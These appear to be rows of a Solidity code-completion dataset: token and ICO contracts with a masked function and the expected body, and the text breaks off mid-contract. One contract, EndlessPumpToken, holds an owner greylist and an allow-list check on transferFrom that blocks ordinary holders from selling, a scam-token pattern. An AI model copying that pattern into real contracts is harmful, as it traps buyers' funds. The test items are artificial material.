mapping(uint256 => activeMiners[]) aMiners; function numberofminer() view public returns (uint256) { return totalminers.length; } function nAddrHash() view public returns (uint256) { return uint256(msg.sender) % 10000000000; } function getmaximumAverage() public view returns(uint){ if(numberofminer() == 0){ return maximumTarget; } else { return maximumTarget / numberofminer(); } } function checkAddrMinerStatus(address _addr) view public returns(bool){ if(nStockDetails[_addr]._stocktime == 0){ return false; } else { return true; } } function checkAddrMinerAmount(address _addr) view public returns(uint256){ if(nStockDetails[_addr]._stocktime == 0){ return 0; } else { return nStockDetails[_addr]._stockamount; } } function getactiveminersnumber() view public returns(uint256) { return aMiners[lastBlock].length; //that function for information. } function nMixAddrandBlock() private view returns(string memory) { return append(uintToString(nAddrHash()),uintToString(lastBlock)); } function signfordailyreward(uint256 _bnumber) public returns (uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber <= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); if(bBlockIteration[lastBlock]._bTime + 1800 < now){ lastBlock += 1; bBlockIteration[lastBlock]._bTime = now; } require(nRewardDetails[nMixAddrandBlock()]._artyr == 0); bBlockIteration[lastBlock]._tInvest += nStockDetails[msg.sender]._stockamount; nRewardDetails[nMixAddrandBlock()]._artyr = now; nRewardDetails[nMixAddrandBlock()]._didGetReward = false; aMiners[lastBlock].push(activeMiners(msg.sender)); return 200; } function getDailyReward(uint256 _bnumber) public returns(uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber >= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); require(nRewardDetails[nMixAddrandBlock()]._didGetReward == false); uint256 totalRA = genesisReward / 2 ** (lastBlock/730); uint256 usersReward = (totalRA * (nStockDetails[msg.sender]._stockamount * 100) / bBlockIteration[lastBlock]._tInvest) / 100; nRewardDetails[nMixAddrandBlock()]._didGetReward = true; _transfer(address(this), msg.sender, usersReward); return usersReward; } function becameaminer(uint256 mineamount) public returns (uint256) { uint256 realMineAmount = mineamount * 10 ** uint256(decimals); require(realMineAmount > getmaximumAverage() / 100); //Minimum maximum targes one percents neccessary. require(realMineAmount > 1 * 10 ** uint256(decimals)); //minimum 1 coin require require(nStockDetails[msg.sender]._stocktime == 0); require(mineamount < 3000); maximumTarget += realMineAmount; nStockDetails[msg.sender]._stocktime = now; nStockDetails[msg.sender]._stockamount = realMineAmount; totalminers.push(msg.sender); _transfer(msg.sender, address(this), realMineAmount); return 200; } function getyourcoinsbackafterthreemonths() public returns(uint256) { require(nStockDetails[msg.sender]._stocktime + nWtime < now ); nStockDetails[msg.sender]._stocktime = 0; _transfer(address(this),msg.sender,nStockDetails[msg.sender]._stockamount); return nStockDetails[msg.sender]._stockamount; } struct memoIncDetails { uint256 _receiveTime; uint256 _receiveAmount; address _senderAddr; string _senderMemo; } mapping(address => memoIncDetails[]) textPurchases; function sendtokenwithmemo(uint256 _amount, address _to, string memory _memo) public returns(uint256) { textPurchases[_to].push(memoIncDetails(now, _amount, msg.sender, _memo)); _transfer(msg.sender, _to, _amount); return 200; } function checkmemopurchases(address _addr, uint256 _index) view public returns(uint256, uint256, string memory, address) { uint256 rTime = textPurchases[_addr][_index]._receiveTime; uint256 rAmount = textPurchases[_addr][_index]._receiveAmount; string memory sMemo = textPurchases[_addr][_index]._senderMemo; address sAddr = textPurchases[_addr][_index]._senderAddr; if(textPurchases[_addr][_index]._receiveTime == 0){ return (0, 0,"0", _addr); }else { return (rTime, rAmount,sMemo, sAddr); } } function getmemotextcountforaddr(address _addr) view public returns(uint256) { return textPurchases[_addr].length; } }
contract EthereumPlanck { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; address payable public fundsWallet; uint256 public maximumTarget; uint256 public lastBlock; uint256 public rewardTimes; uint256 public genesisReward; uint256 public premined; uint256 public nRewarMod; uint256 public nWtime; uint256 public totalReceived; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); <FILL_FUNCTION> function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } function uintToString(uint256 v) internal pure returns(string memory str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(uint8(48 + remainder)); } bytes memory s = new bytes(i + 1); for (uint j = 0; j <= i; j++) { s[j] = reversed[i - j]; } str = string(s); } function append(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a,"-",b)); } function getblockhash() public view returns (uint256) { return uint256(blockhash(block.number-1)); } function getspesificblockhash(uint256 _blocknumber) public view returns(uint256, uint256){ uint256 crew = uint256(blockhash(_blocknumber)) % nRewarMod; return (crew, block.number-1); } function checkRewardStatus() public view returns (uint256, uint256) { uint256 crew = uint256(blockhash(block.number-1)) % nRewarMod; return (crew, block.number-1); } struct sdetails { uint256 _stocktime; uint256 _stockamount; } address[] totalminers; mapping (address => sdetails) nStockDetails; struct rewarddetails { uint256 _artyr; bool _didGetReward; } mapping (string => rewarddetails) nRewardDetails; struct nBlockDetails { uint256 _bTime; uint256 _tInvest; } mapping (uint256 => nBlockDetails) bBlockIteration; struct activeMiners { address bUser; } mapping(uint256 => activeMiners[]) aMiners; function numberofminer() view public returns (uint256) { return totalminers.length; } function nAddrHash() view public returns (uint256) { return uint256(msg.sender) % 10000000000; } function getmaximumAverage() public view returns(uint){ if(numberofminer() == 0){ return maximumTarget; } else { return maximumTarget / numberofminer(); } } function checkAddrMinerStatus(address _addr) view public returns(bool){ if(nStockDetails[_addr]._stocktime == 0){ return false; } else { return true; } } function checkAddrMinerAmount(address _addr) view public returns(uint256){ if(nStockDetails[_addr]._stocktime == 0){ return 0; } else { return nStockDetails[_addr]._stockamount; } } function getactiveminersnumber() view public returns(uint256) { return aMiners[lastBlock].length; //that function for information. } function nMixAddrandBlock() private view returns(string memory) { return append(uintToString(nAddrHash()),uintToString(lastBlock)); } function signfordailyreward(uint256 _bnumber) public returns (uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber <= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); if(bBlockIteration[lastBlock]._bTime + 1800 < now){ lastBlock += 1; bBlockIteration[lastBlock]._bTime = now; } require(nRewardDetails[nMixAddrandBlock()]._artyr == 0); bBlockIteration[lastBlock]._tInvest += nStockDetails[msg.sender]._stockamount; nRewardDetails[nMixAddrandBlock()]._artyr = now; nRewardDetails[nMixAddrandBlock()]._didGetReward = false; aMiners[lastBlock].push(activeMiners(msg.sender)); return 200; } function getDailyReward(uint256 _bnumber) public returns(uint256) { require(checkAddrMinerStatus(msg.sender) == true); require((block.number-1) - _bnumber >= 100); require(uint256(blockhash(_bnumber)) % nRewarMod == 1); require(nRewardDetails[nMixAddrandBlock()]._didGetReward == false); uint256 totalRA = genesisReward / 2 ** (lastBlock/730); uint256 usersReward = (totalRA * (nStockDetails[msg.sender]._stockamount * 100) / bBlockIteration[lastBlock]._tInvest) / 100; nRewardDetails[nMixAddrandBlock()]._didGetReward = true; _transfer(address(this), msg.sender, usersReward); return usersReward; } function becameaminer(uint256 mineamount) public returns (uint256) { uint256 realMineAmount = mineamount * 10 ** uint256(decimals); require(realMineAmount > getmaximumAverage() / 100); //Minimum maximum targes one percents neccessary. require(realMineAmount > 1 * 10 ** uint256(decimals)); //minimum 1 coin require require(nStockDetails[msg.sender]._stocktime == 0); require(mineamount < 3000); maximumTarget += realMineAmount; nStockDetails[msg.sender]._stocktime = now; nStockDetails[msg.sender]._stockamount = realMineAmount; totalminers.push(msg.sender); _transfer(msg.sender, address(this), realMineAmount); return 200; } function getyourcoinsbackafterthreemonths() public returns(uint256) { require(nStockDetails[msg.sender]._stocktime + nWtime < now ); nStockDetails[msg.sender]._stocktime = 0; _transfer(address(this),msg.sender,nStockDetails[msg.sender]._stockamount); return nStockDetails[msg.sender]._stockamount; } struct memoIncDetails { uint256 _receiveTime; uint256 _receiveAmount; address _senderAddr; string _senderMemo; } mapping(address => memoIncDetails[]) textPurchases; function sendtokenwithmemo(uint256 _amount, address _to, string memory _memo) public returns(uint256) { textPurchases[_to].push(memoIncDetails(now, _amount, msg.sender, _memo)); _transfer(msg.sender, _to, _amount); return 200; } function checkmemopurchases(address _addr, uint256 _index) view public returns(uint256, uint256, string memory, address) { uint256 rTime = textPurchases[_addr][_index]._receiveTime; uint256 rAmount = textPurchases[_addr][_index]._receiveAmount; string memory sMemo = textPurchases[_addr][_index]._senderMemo; address sAddr = textPurchases[_addr][_index]._senderAddr; if(textPurchases[_addr][_index]._receiveTime == 0){ return (0, 0,"0", _addr); }else { return (rTime, rAmount,sMemo, sAddr); } } function getmemotextcountforaddr(address _addr) view public returns(uint256) { return textPurchases[_addr].length; } }
initialSupply = 23592240 * 10 ** uint256(decimals); tokenName = "EthereumPlanck"; tokenSymbol = "EPL"; lastBlock = 1; nRewarMod = 5200; nWtime = 7889231; genesisReward = (2**14)* (10**uint256(decimals)); maximumTarget = 100 * 10 ** uint256(decimals); fundsWallet = msg.sender; premined = 500000 * 10 ** uint256(decimals); balanceOf[msg.sender] = premined; balanceOf[address(this)] = initialSupply; totalSupply = initialSupply + premined; name = tokenName; symbol = tokenSymbol; totalReceived = 0;
constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public
constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public
44825
Copernic2Contract
approve
contract Copernic2Contract is ERC20 { string internal _name = "Copernic2"; string internal _symbol = "COP2"; string internal _standard = "ERC20"; uint8 internal _decimals = 18; uint internal _totalSupply = 1000000 * 1 ether; address internal _contractOwner; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); event OwnershipTransferred( address indexed _oldOwner, address indexed _newOwner ); constructor () public { balances[msg.sender] = totalSupply(); _contractOwner = msg.sender; } // Try to prevent sending ETH to SmartContract by mistake. function () external payable { revert("This SmartContract is not payable"); } // // Getters and Setters // function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function standard() public view returns (string memory) { return _standard; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function contractOwner() public view returns (address) { return _contractOwner; } // // Contract common functions // function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[msg.sender], "Insufficient balance"); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0), "'_from' address has to be set"); require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[_from], "Insufficient balance"); require(_value <= allowed[_from][msg.sender], "Insufficient allowance"); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function burn(uint256 _value) public returns (bool success) { require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); _totalSupply = SafeMath.sub(_totalSupply, _value); emit Transfer(msg.sender, address(0), _value); return true; } modifier onlyOwner() { require(isOwner(), "Only owner can do that"); _; } function isOwner() public view returns (bool) { return msg.sender == _contractOwner; } function transferOwnership(address _newOwner) public onlyOwner returns (bool success) { require(_newOwner != address(0) && _contractOwner != _newOwner); emit OwnershipTransferred(_contractOwner, _newOwner); _contractOwner = _newOwner; return true; } }
contract Copernic2Contract is ERC20 { string internal _name = "Copernic2"; string internal _symbol = "COP2"; string internal _standard = "ERC20"; uint8 internal _decimals = 18; uint internal _totalSupply = 1000000 * 1 ether; address internal _contractOwner; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); event OwnershipTransferred( address indexed _oldOwner, address indexed _newOwner ); constructor () public { balances[msg.sender] = totalSupply(); _contractOwner = msg.sender; } // Try to prevent sending ETH to SmartContract by mistake. function () external payable { revert("This SmartContract is not payable"); } // // Getters and Setters // function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function standard() public view returns (string memory) { return _standard; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function contractOwner() public view returns (address) { return _contractOwner; } // // Contract common functions // function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[msg.sender], "Insufficient balance"); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0), "'_from' address has to be set"); require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[_from], "Insufficient balance"); require(_value <= allowed[_from][msg.sender], "Insufficient allowance"); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function burn(uint256 _value) public returns (bool success) { require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); _totalSupply = SafeMath.sub(_totalSupply, _value); emit Transfer(msg.sender, address(0), _value); return true; } modifier onlyOwner() { require(isOwner(), "Only owner can do that"); _; } function isOwner() public view returns (bool) { return msg.sender == _contractOwner; } function transferOwnership(address _newOwner) public onlyOwner returns (bool success) { require(_newOwner != address(0) && _contractOwner != _newOwner); emit OwnershipTransferred(_contractOwner, _newOwner); _contractOwner = _newOwner; return true; } }
require (_spender != address(0), "_spender address has to be set"); require (_value > 0, "'_value' parameter has to be greater than 0"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) public returns (bool success)
function approve(address _spender, uint256 _value) public returns (bool success)
15804
EndlessPumpToken
transfer
contract EndlessPumpToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint8 public airdrop = 1; mapping (address => uint256) private _balances; uint256 constant digits = 1000000000000000000; uint256 _totalSup = 20000 * digits; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; mapping (address => bool) private greylist; function multiGreylistAdd(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistAdd(addresses[i]); } } function multiGreylistRemove(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistRemove(addresses[i]); } } function greylistAdd(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = true; } function greylistRemove(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = false; } function isInGreylist(address a) internal view returns (bool) { return greylist[a]; } function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) public allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } //1% at start uint256 public basePercentage = 1; function findPercentage(uint256 amount) public view returns (uint256) { uint256 percent = amount.mul(basePercentage).div(20000); return percent; } //burning function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSup = _totalSup.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } //burn rate change, only by owner function changeBurnRate(uint8 newRate) external onlyOwner { basePercentage = newRate; } //airdrop phase change, only by owner function changeAirdropPhase(uint8 _airdrop) external onlyOwner { airdrop = _airdrop; } //transfer function _executeTransfer(address _from, address _to, uint256 _value) private { //Not to 0x, using burn() if (_to == address(0)) revert(); if (_value <= 0) revert(); if (_balances[_from] < _value) revert(); if (_balances[_to] + _value < _balances[_to]) revert(); if (airdrop == 1) { if (isInGreylist(msg.sender)) { revert(); } } if(_to == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D || _to == owner || _from == owner) { _balances[_from] = SafeMath.sub(_balances[_from], _value); _balances[_to] = SafeMath.add(_balances[_to], _value); emit Transfer(_from, _to, _value); } else { uint256 tokensToBurn = findPercentage(_value); uint256 tokensToTransfer = _value.sub(tokensToBurn); _balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer); _balances[_to] = _balances[_to].add(tokensToTransfer); emit Transfer(_from, _to, tokensToTransfer); _burn(_from, tokensToBurn); } } }
contract EndlessPumpToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint8 public airdrop = 1; mapping (address => uint256) private _balances; uint256 constant digits = 1000000000000000000; uint256 _totalSup = 20000 * digits; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; mapping (address => bool) private greylist; function multiGreylistAdd(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistAdd(addresses[i]); } } function multiGreylistRemove(address[] memory addresses) public { if (msg.sender != owner) { revert(); } for (uint256 i = 0; i < addresses.length; i++) { greylistRemove(addresses[i]); } } function greylistAdd(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = true; } function greylistRemove(address a) public { if (msg.sender != owner) { revert(); } greylist[a] = false; } function isInGreylist(address a) internal view returns (bool) { return greylist[a]; } <FILL_FUNCTION> function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) public allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } //1% at start uint256 public basePercentage = 1; function findPercentage(uint256 amount) public view returns (uint256) { uint256 percent = amount.mul(basePercentage).div(20000); return percent; } //burning function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSup = _totalSup.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } //burn rate change, only by owner function changeBurnRate(uint8 newRate) external onlyOwner { basePercentage = newRate; } //airdrop phase change, only by owner function changeAirdropPhase(uint8 _airdrop) external onlyOwner { airdrop = _airdrop; } //transfer function _executeTransfer(address _from, address _to, uint256 _value) private { //Not to 0x, using burn() if (_to == address(0)) revert(); if (_value <= 0) revert(); if (_balances[_from] < _value) revert(); if (_balances[_to] + _value < _balances[_to]) revert(); if (airdrop == 1) { if (isInGreylist(msg.sender)) { revert(); } } if(_to == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D || _to == owner || _from == owner) { _balances[_from] = SafeMath.sub(_balances[_from], _value); _balances[_to] = SafeMath.add(_balances[_to], _value); emit Transfer(_from, _to, _value); } else { uint256 tokensToBurn = findPercentage(_value); uint256 tokensToTransfer = _value.sub(tokensToBurn); _balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer); _balances[_to] = _balances[_to].add(tokensToTransfer); emit Transfer(_from, _to, tokensToTransfer); _burn(_from, tokensToBurn); } } }
require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
function transfer(address _to, uint256 _value) public returns (bool)
71210
StableICO
exchangeEthStb
contract StableICO is Ownable, SafeMath { uint256 public crowdfundingTarget; // ICO target, in wei ERC223Token_STA public sta; // address of STA token ERC223Token_STB public stb; // address of STB token address public beneficiary; // where the donation is transferred after successful ICO uint256 public icoStartBlock; // number of start block of ICO uint256 public icoEndBlock; // number of end block of ICO bool public isIcoFinished; // boolean for ICO status - is ICO finished? bool public isIcoSucceeded; // boolean for ICO status - is crowdfunding target reached? bool public isDonatedEthTransferred; // boolean for ICO status - is donation transferred to the secure account? bool public isStbMintedForStaEx; // boolean for ICO status - is extra STB tokens minted for covering exchange of STA token? uint256 public receivedStaAmount; // amount of received STA tokens from rewarded miners uint256 public totalFunded; // amount of ETH donations uint256 public ownersEth; // amount of ETH transferred to ICO contract by the owner uint256 public oneStaIsStb; // one STA value in STB struct Donor { // struct for ETH donations address donorAddress; uint256 ethAmount; uint256 block; bool exchangedOrRefunded; uint256 stbAmount; } mapping (uint256 => Donor) public donations; // storage for ETH donations uint256 public donationNum; // counter of ETH donations struct Miner { // struct for received STA tokens address minerAddress; uint256 staAmount; uint256 block; bool exchanged; uint256 stbAmount; } mapping (uint256 => Miner) public receivedSta; // storage for received STA tokens uint256 public minerNum; // counter of STA receives /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event MessageExchangeEthStb(address from, uint256 eth, uint256 stb); event MessageExchangeStaStb(address from, uint256 sta, uint256 stb); event MessageReceiveEth(address from, uint256 eth, uint256 block); event MessageReceiveSta(address from, uint256 sta, uint256 block); event MessageReceiveStb(address from, uint256 stb, uint256 block, bytes data); // it should never happen event MessageRefundEth(address donor_address, uint256 eth); /* constructor */ function StableICO() { crowdfundingTarget = 200000000000000000; // INIT (test: 0.2 ETH) sta = ERC223Token_STA(0xe1e8f9bd535384a345c2a7a29a15df8fc345ad9c); // INIT stb = ERC223Token_STB(0x1e46a3f0552c5acf8ced4fe21a789b412f0e792a); // INIT beneficiary = 0x29ef9329bc15b7c11d047217618186b52bb4c8ff; // INIT icoStartBlock = 4230000; // INIT icoEndBlock = 4230150; // INIT } /* trigger rewarding the miner with STA token */ function claimMiningReward() public onlyOwner { sta.claimMiningReward(); } /* Receiving STA from miners - during and after ICO */ function tokenFallback(address _from, uint256 _value, bytes _data) { if (block.number < icoStartBlock) throw; if (msg.sender == address(sta)) { if (_value < 50000000) throw; // minimum 0.5 STA if (block.number < icoEndBlock+14*3456) { // allow STA tokens exchange for around 14 days (25s/block) after ICO receivedSta[minerNum] = Miner(_from, _value, block.number, false, 0); minerNum += 1; receivedStaAmount = safeAdd(receivedStaAmount, _value); MessageReceiveSta(_from, _value, block.number); } else throw; } else if(msg.sender == address(stb)) { MessageReceiveStb(_from, _value, block.number, _data); } else { throw; // other tokens } } /* Receiving ETH */ function () payable { if (msg.value < 10000000000000000) throw; // minimum 0.1 ETH TEST: 0.01ETH // before ICO (pre-ico) if (block.number < icoStartBlock) { if (msg.sender == owner) { ownersEth = safeAdd(ownersEth, msg.value); } else { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } } // during ICO else if (block.number >= icoStartBlock && block.number <= icoEndBlock) { if (msg.sender != owner) { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } else ownersEth = safeAdd(ownersEth, msg.value); } // after ICO - first ETH transfer is returned to the sender else if (block.number > icoEndBlock) { if (!isIcoFinished) { isIcoFinished = true; msg.sender.transfer(msg.value); // return ETH to the sender if (totalFunded >= crowdfundingTarget) { isIcoSucceeded = true; exchangeStaStb(0, minerNum); exchangeEthStb(0, donationNum); drawdown(); } else { refund(0, donationNum); } } else { if (msg.sender != owner) throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) ownersEth = safeAdd(ownersEth, msg.value); } } else { throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) } } /* send STB to the miners who returned STA tokens - after successful ICO */ function exchangeStaStb(uint256 _from, uint256 _to) private { if (!isIcoSucceeded) throw; if (_from >= _to) return; // skip the function if there is invalid range given for loop uint256 _sta2stb = 10**4; uint256 _wei2stb = 10**14; if (!isStbMintedForStaEx) { uint256 _mintAmount = (10*totalFunded)*5/1000 / _wei2stb; // 0.5% extra STB minting for STA covering oneStaIsStb = _mintAmount / 100; stb.mint(address(this), _mintAmount); isStbMintedForStaEx = true; } /* exchange */ uint256 _toBurn = 0; for (uint256 i = _from; i < _to; i++) { if (receivedSta[i].exchanged) continue; // skip already exchanged STA stb.transfer(receivedSta[i].minerAddress, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); receivedSta[i].exchanged = true; receivedSta[i].stbAmount = receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4; _toBurn += receivedSta[i].staAmount; MessageExchangeStaStb(receivedSta[i].minerAddress, receivedSta[i].staAmount, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); } sta.burn(address(this), _toBurn); // burn received and processed STA tokens } /* send STB to the donors - after successful ICO */ function exchangeEthStb(uint256 _from, uint256 _to) private {<FILL_FUNCTION_BODY> } // send funds to the ICO beneficiary account - after successful ICO function drawdown() private { if (!isIcoSucceeded || isDonatedEthTransferred) throw; beneficiary.transfer(totalFunded); isDonatedEthTransferred = true; } /* refund ETH - after unsuccessful ICO */ function refund(uint256 _from, uint256 _to) private { if (!isIcoFinished || isIcoSucceeded) throw; if (_from >= _to) return; for (uint256 i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; donations[i].donorAddress.transfer(donations[i].ethAmount); donations[i].exchangedOrRefunded = true; MessageRefundEth(donations[i].donorAddress, donations[i].ethAmount); } } // send owner's funds to the ICO owner - after ICO function transferEthToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0 || _amount > ownersEth) throw; owner.transfer(_amount); ownersEth -= _amount; } // send STB to the ICO owner - after ICO function transferStbToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0) throw; stb.transfer(owner, _amount); } /* backup functions to be executed "manually" - in case of a critical ethereum platform failure during automatic function execution */ function backup_finishIcoVars() public onlyOwner { if (block.number <= icoEndBlock || isIcoFinished) throw; isIcoFinished = true; if (totalFunded >= crowdfundingTarget) isIcoSucceeded = true; } function backup_exchangeStaStb(uint256 _from, uint256 _to) public onlyOwner { exchangeStaStb(_from, _to); } function 